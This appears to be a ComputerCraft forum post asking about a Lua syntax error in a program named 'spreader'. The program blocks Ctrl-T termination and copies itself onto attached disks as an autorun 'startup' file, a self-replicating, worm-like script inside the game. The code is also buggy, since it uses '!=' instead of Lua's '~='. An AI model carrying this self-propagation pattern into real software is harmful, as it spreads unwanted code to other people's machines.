bios:14: [string ".temp"]:20: 'then' expectedI looked at line 20 and there is no missing "then" and I checked according to the "Read This Post Before Asking Questions" thread and I can still not find an error.
Here is my code:
print("Initializing...")
os.pullEvent = os.pullEventRaw
-- Just in case you pressed Ctrl T while it's still running because stopping in the middle of this program would confuse me if I ever had to manage the aftermath.
print("Replicating...")
side = {"top","bottom","left","right","up","down","front","back"}
-- For defining the names of sides to a variable then below it checks for a disk NOT containing a startup file
i = nil
for i = 1,#side do
if peripheral.getType(side[i]) == "drive" then
if disk.isPresent(side[i]) then
diskf = fs.list("/disk")
for i = 1,#diskf do
if diskf[i] != "startup" then
startupExists = false
i = i + 1
else
startupExists = true
end
if startupExists == true then
i = #diskf
end
end
fs.copy("/spreader","/disk/startup") -- This is creating a startup file with the contents of this program, "spreader"
end
end
end












